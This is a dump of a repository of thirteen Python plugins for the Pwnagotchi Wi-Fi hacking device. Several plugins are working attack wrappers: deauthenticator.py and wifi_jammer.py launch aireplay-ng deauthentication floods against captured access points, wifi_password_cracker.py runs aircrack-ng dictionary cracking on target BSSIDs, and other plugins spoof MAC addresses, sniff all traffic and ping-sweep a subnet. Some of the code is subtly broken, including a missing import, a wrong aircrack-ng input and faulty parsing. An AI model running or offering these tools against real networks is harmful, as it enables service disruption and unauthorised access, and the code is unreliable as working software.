├── bluetooth_scanner.py ├── deauthenticator.py ├── dns_spoof_detector.py ├── mac_adress_logger.py ├── mac_randomizer.py ├── network_intrusion_detector.py ├── network_mapper.py ├── network_packet_sniffer.py ├── rogue_ap_detector.py ├── traffic_sniffer.py ├── wifi_analyser.py ├── wifi_jammer.py └── wifi_password_cracker.py /bluetooth_scanner.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class BluetoothScanner(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(BluetoothScanner, self).__init__() 11 | 12 | def scan_bluetooth_devices(self): 13 | try: 14 | output = subprocess.check_output(["hcitool", "scan"]) 15 | return output.decode('utf-8') 16 | except subprocess.CalledProcessError: 17 | self.log.error("Failed to scan Bluetooth devices.") 18 | return "" 19 | 20 | def on_loaded(self): 21 | self.log.info("Bluetooth Scanner Plugin loaded") 22 | 23 | def on_periodic(self, agent): 24 | bluetooth_devices = self.scan_bluetooth_devices() 25 | if bluetooth_devices: 26 | self.log.info("Available Bluetooth devices:") 27 | agent.display_text("Bluetooth Devices:", font=fonts.Small) 28 | for line in bluetooth_devices.split('\n'): 29 | if "Scanning ..." not in line and line.strip(): 30 | device_info = line.strip().split('\t') 31 | device_mac = device_info[0] 32 | device_name = device_info[1] 33 | self.log.info(f"MAC: {device_mac}, Name: {device_name}") 34 | agent.display_text(f"{device_name} ({device_mac})", font=fonts.Small) 35 | 36 | def on_unload(self): 37 | self.log.info("Bluetooth Scanner Plugin unloaded") 38 | 39 | # Instantiate the plugin 40 | plugin = BluetoothScanner() 41 | -------------------------------------------------------------------------------- /deauthenticator.py: -------------------------------------------------------------------------------- 1 | import time 2 | import subprocess 3 | from pwnagotchi.plugins import BasePlugin 4 | 5 | class Deauthenticator(BasePlugin): 6 | __author__ = 'Deus Dust' 7 | __version__ = '1.0.0' 8 | __license__ = 'MIT' 9 | 10 | def __init__(self): 11 | super(Deauthenticator, self).__init__() 12 | 13 | def deauth(self, target_mac, interface="wlan0", duration=5): 14 | try: 15 | subprocess.run(["aireplay-ng", "--deauth", str(duration), "-a", target_mac, interface], check=True) 16 | self.log.info(f"Deauthentication attack sent to {target_mac} for {duration} seconds") 17 | except subprocess.CalledProcessError as e: 18 | self.log.error(f"Failed to send deauthentication attack: {e}") 19 | 20 | def on_loaded(self): 21 | self.log.info("Deauthenticator Plugin loaded") 22 | 23 | def on_handshake(self, agent, filename, access_point): 24 | target_mac = access_point.bssid 25 | self.deauth(target_mac) 26 | 27 | def on_unload(self): 28 | self.log.info("Deauthenticator Plugin unloaded") 29 | 30 | # Instantiate the plugin 31 | plugin = Deauthenticator() 32 | -------------------------------------------------------------------------------- /dns_spoof_detector.py: -------------------------------------------------------------------------------- 1 | import scapy.all as scapy 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class DNSSpoofDetector(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(DNSSpoofDetector, self).__init__() 11 | 12 | def on_loaded(self): 13 | self.log.info("DNS Spoof Detector Plugin loaded") 14 | 15 | def dns_spoof_handler(self, packet): 16 | if packet.haslayer(scapy.DNSRR): 17 | dns_response = packet[scapy.DNSRR] 18 | if not dns_response.rdata: 19 | self.log.warning("Possible DNS Spoofing Detected!") 20 | # Add custom logic for handling DNS spoofing detection 21 | 22 | def start_sniffing(self): 23 | scapy.sniff(filter="udp port 53", prn=self.dns_spoof_handler, store=False) 24 | 25 | def on_periodic(self, agent): 26 | self.start_sniffing() 27 | 28 | def on_unload(self): 29 | self.log.info("DNS Spoof Detector Plugin unloaded") 30 | 31 | # Instantiate the plugin 32 | plugin = DNSSpoofDetector() 33 | -------------------------------------------------------------------------------- /mac_adress_logger.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi.plugins import BasePlugin 2 | 3 | class MacAddressLogger(BasePlugin): 4 | __author__ = 'Deus Dust' 5 | __version__ = '1.0.0' 6 | __license__ = 'MIT' 7 | 8 | def __init__(self): 9 | super(MacAddressLogger, self).__init__() 10 | 11 | def on_loaded(self): 12 | self.log.info("MAC Address Logger Plugin loaded") 13 | 14 | def on_handshake(self, agent, filename, access_point): 15 | self.log.info(f"Handshake captured from {access_point['station']}") 16 | self.log.info(f"MAC Address: {access_point['station']}") 17 | # You can save or log this MAC address as needed 18 | 19 | def on_unload(self): 20 | self.log.info("MAC Address Logger Plugin unloaded") 21 | 22 | # Instantiate the plugin 23 | plugin = MacAddressLogger() 24 | -------------------------------------------------------------------------------- /mac_randomizer.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import random 3 | from pwnagotchi.plugins import BasePlugin 4 | 5 | class MACRandomizer(BasePlugin): 6 | __author__ = 'Deus Dust' 7 | __version__ = '1.0.0' 8 | __license__ = 'MIT' 9 | 10 | def __init__(self): 11 | super(MACRandomizer, self).__init__() 12 | 13 | def randomize_mac(self): 14 | new_mac = ':'.join(['{:02x}'.format(random.randint(0, 255)) for _ in range(6)]) 15 | try: 16 | subprocess.run(['sudo', 'ifconfig', 'wlan0', 'down']) 17 | subprocess.run(['sudo', 'ifconfig', 'wlan0', 'hw', 'ether', new_mac]) 18 | subprocess.run(['sudo', 'ifconfig', 'wlan0', 'up']) 19 | self.log.info(f"MAC Address changed to: {new_mac}") 20 | except Exception as e: 21 | self.log.error(f"Failed to change MAC Address: {e}") 22 | 23 | def on_loaded(self): 24 | self.log.info("MAC Randomizer Plugin loaded") 25 | self.randomize_mac() 26 | 27 | def on_unload(self): 28 | self.log.info("MAC Randomizer Plugin unloaded") 29 | 30 | # Instantiate the plugin 31 | plugin = MACRandomizer() 32 | -------------------------------------------------------------------------------- /network_intrusion_detector.py: -------------------------------------------------------------------------------- 1 | import scapy.all as scapy 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class NetworkIntrusionDetector(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(NetworkIntrusionDetector, self).__init__() 11 | 12 | def packet_handler(self, packet): 13 | # Voer hier aangepaste logica uit voor het detecteren van indringing 14 | if packet.haslayer(scapy.IP): 15 | ip_src = packet[scapy.IP].src 16 | ip_dst = packet[scapy.IP].dst 17 | self.log.info(f"Intrusion detected: {ip_src} -> {ip_dst}") 18 | 19 | def start_sniffing(self): 20 | scapy.sniff(prn=self.packet_handler, store=False) 21 | 22 | def on_loaded(self): 23 | self.log.info("Network Intrusion Detector Plugin loaded") 24 | self.start_sniffing() 25 | 26 | def on_unload(self): 27 | self.log.info("Network Intrusion Detector Plugin unloaded") 28 | 29 | # Instantiate the plugin 30 | plugin = NetworkIntrusionDetector() 31 | -------------------------------------------------------------------------------- /network_mapper.py: -------------------------------------------------------------------------------- 1 | import nmap 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class NetworkMapper(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(NetworkMapper, self).__init__() 11 | 12 | def scan_network(self): 13 | nm = nmap.PortScanner() 14 | nm.scan(hosts='192.168.1.0/24', arguments='-sn') 15 | return nm.all_hosts() 16 | 17 | def on_loaded(self): 18 | self.log.info("Network Mapper Plugin loaded") 19 | 20 | def on_periodic(self, agent): 21 | hosts = self.scan_network() 22 | self.log.info("Discovered hosts:") 23 | for host in hosts: 24 | self.log.info(f"Host: {host}") 25 | 26 | def on_unload(self): 27 | self.log.info("Network Mapper Plugin unloaded") 28 | 29 | # Instantiate the plugin 30 | plugin = NetworkMapper() 31 | -------------------------------------------------------------------------------- /network_packet_sniffer.py: -------------------------------------------------------------------------------- 1 | import scapy.all as scapy 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class NetworkPacketSniffer(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(NetworkPacketSniffer, self).__init__() 11 | 12 | def packet_handler(self, packet): 13 | # Voer hier aangepaste logica uit voor het verwerken van pakketten 14 | print(packet.summary()) 15 | 16 | def start_sniffing(self): 17 | scapy.sniff(prn=self.packet_handler, store=False) 18 | 19 | def on_loaded(self): 20 | self.log.info("Network Packet Sniffer Plugin loaded") 21 | self.start_sniffing() 22 | 23 | def on_unload(self): 24 | self.log.info("Network Packet Sniffer Plugin unloaded") 25 | 26 | # Instantiate the plugin 27 | plugin = NetworkPacketSniffer() 28 | -------------------------------------------------------------------------------- /rogue_ap_detector.py: -------------------------------------------------------------------------------- 1 | import time 2 | import subprocess 3 | from pwnagotchi.plugins import BasePlugin 4 | 5 | class RogueAPDetector(BasePlugin): 6 | __author__ = 'Deus Dust' 7 | __version__ = '1.0.0' 8 | __license__ = 'MIT' 9 | 10 | def __init__(self): 11 | super(RogueAPDetector, self).__init__() 12 | 13 | def scan_wifi_networks(self): 14 | try: 15 | output = subprocess.check_output(["iwlist", "wlan0", "scan"]) 16 | return output.decode('utf-8') 17 | except subprocess.CalledProcessError: 18 | self.log.error("Failed to scan WiFi networks.") 19 | return "" 20 | 21 | def on_loaded(self): 22 | self.log.info("Rogue AP Detector Plugin loaded") 23 | 24 | def on_wifi_update(self, agent, access_points): 25 | wifi_networks = self.scan_wifi_networks() 26 | if wifi_networks: 27 | rogue_aps = self.detect_rogue_aps(wifi_networks, access_points) 28 | if rogue_aps: 29 | self.log.warning("Rogue Access Points detected:") 30 | for ap in rogue_aps: 31 | self.log.warning(f"SSID: {ap['ssid']}, BSSID: {ap['bssid']}, Channel: {ap['channel']}") 32 | agent.display_text(f"Rogue AP: {ap['ssid']}", duration=10) 33 | 34 | def detect_rogue_aps(self, scan_results, known_aps): 35 | rogue_aps = [] 36 | for line in scan_results.split('\n'): 37 | if "ESSID:" in line: 38 | ssid = line.split('ESSID:"')[1].split('"')[0] 39 | bssid = line.split('Address: ')[1].strip() 40 | channel_line = next(filter(lambda x: x.startswith('Channel:'), line.split('\n')), None) 41 | if channel_line: 42 | channel = int(channel_line.split('Channel:')[1].strip()) 43 | if not any(ap['bssid'] == bssid for ap in known_aps): 44 | rogue_aps.append({"ssid": ssid, "bssid": bssid, "channel": channel}) 45 | return rogue_aps 46 | 47 | def on_unload(self): 48 | self.log.info("Rogue AP Detector Plugin unloaded") 49 | 50 | # Instantiate the plugin 51 | plugin = RogueAPDetector() 52 | -------------------------------------------------------------------------------- /traffic_sniffer.py: -------------------------------------------------------------------------------- 1 | import scapy.all as scapy 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class TrafficSniffer(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(TrafficSniffer, self).__init__() 11 | 12 | def on_loaded(self): 13 | self.log.info("Traffic Sniffer Plugin loaded") 14 | 15 | def packet_handler(self, packet): 16 | # Customize packet handling logic here 17 | print(packet.summary()) 18 | 19 | def start_sniffing(self): 20 | scapy.sniff(prn=self.packet_handler, store=False) 21 | 22 | def on_periodic(self, agent): 23 | self.start_sniffing() 24 | 25 | def on_unload(self): 26 | self.log.info("Traffic Sniffer Plugin unloaded") 27 | 28 | # Instantiate the plugin 29 | plugin = TrafficSniffer() 30 | -------------------------------------------------------------------------------- /wifi_analyser.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class WiFiAnalyzer(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(WiFiAnalyzer, self).__init__() 11 | 12 | def scan_wifi_networks(self): 13 | try: 14 | output = subprocess.check_output(["iwlist", "wlan0", "scan"]) 15 | return output.decode('utf-8') 16 | except subprocess.CalledProcessError: 17 | self.log.error("Failed to scan WiFi networks.") 18 | return "" 19 | 20 | def on_loaded(self): 21 | self.log.info("WiFi Analyzer Plugin loaded") 22 | 23 | def on_periodic(self, agent): 24 | wifi_networks = self.scan_wifi_networks() 25 | if wifi_networks: 26 | self.log.info("Available WiFi networks:") 27 | agent.display_text("WiFi Networks:", font=fonts.Small) 28 | for line in wifi_networks.split('\n'): 29 | if "ESSID:" in line: 30 | ssid = line.split('ESSID:"')[1].split('"')[0] 31 | self.log.info(f"SSID: {ssid}") 32 | agent.display_text(ssid, font=fonts.Small) 33 | 34 | def on_unload(self): 35 | self.log.info("WiFi Analyzer Plugin unloaded") 36 | 37 | # Instantiate the plugin 38 | plugin = WiFiAnalyzer() 39 | -------------------------------------------------------------------------------- /wifi_jammer.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class WiFiJammer(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(WiFiJammer, self).__init__() 11 | 12 | def jam_wifi(self, target_bssid, interface="wlan0"): 13 | try: 14 | subprocess.run(["aireplay-ng", "--deauth", "0", "-a", target_bssid, interface], check=True) 15 | self.log.info(f"WiFi jamming initiated for {target_bssid}") 16 | except subprocess.CalledProcessError as e: 17 | self.log.error(f"Failed to initiate WiFi jamming: {e}") 18 | 19 | def on_loaded(self): 20 | self.log.info("WiFi Jammer Plugin loaded") 21 | 22 | def on_handshake(self, agent, filename, access_point): 23 | target_bssid = access_point.bssid 24 | self.jam_wifi(target_bssid) 25 | 26 | def on_unload(self): 27 | self.log.info("WiFi Jammer Plugin unloaded") 28 | 29 | # Instantiate the plugin 30 | plugin = WiFiJammer() 31 | -------------------------------------------------------------------------------- /wifi_password_cracker.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from pwnagotchi.plugins import BasePlugin 3 | 4 | class WiFiPasswordCracker(BasePlugin): 5 | __author__ = 'Deus Dust' 6 | __version__ = '1.0.0' 7 | __license__ = 'MIT' 8 | 9 | def __init__(self): 10 | super(WiFiPasswordCracker, self).__init__() 11 | 12 | def crack_wifi_password(self, target_bssid, wordlist_path="/path/to/wordlist.txt", interface="wlan0"): 13 | try: 14 | subprocess.run(["aircrack-ng", "-b", target_bssid, "-w", wordlist_path, "-l", "cracked.txt", interface], check=True) 15 | self.log.info(f"WiFi password cracked for {target_bssid}") 16 | except subprocess.CalledProcessError as e: 17 | self.log.error(f"Failed to crack WiFi password: {e}") 18 | 19 | def on_loaded(self): 20 | self.log.info("WiFi Password Cracker Plugin loaded") 21 | 22 | def on_handshake(self, agent, filename, access_point): 23 | target_bssid = access_point.bssid 24 | self.crack_wifi_password(target_bssid) 25 | 26 | def on_unload(self): 27 | self.log.info("WiFi Password Cracker Plugin unloaded") 28 | 29 | # Instantiate the plugin 30 | plugin = WiFiPasswordCracker() 31 | --------------------------------------------------------------------------------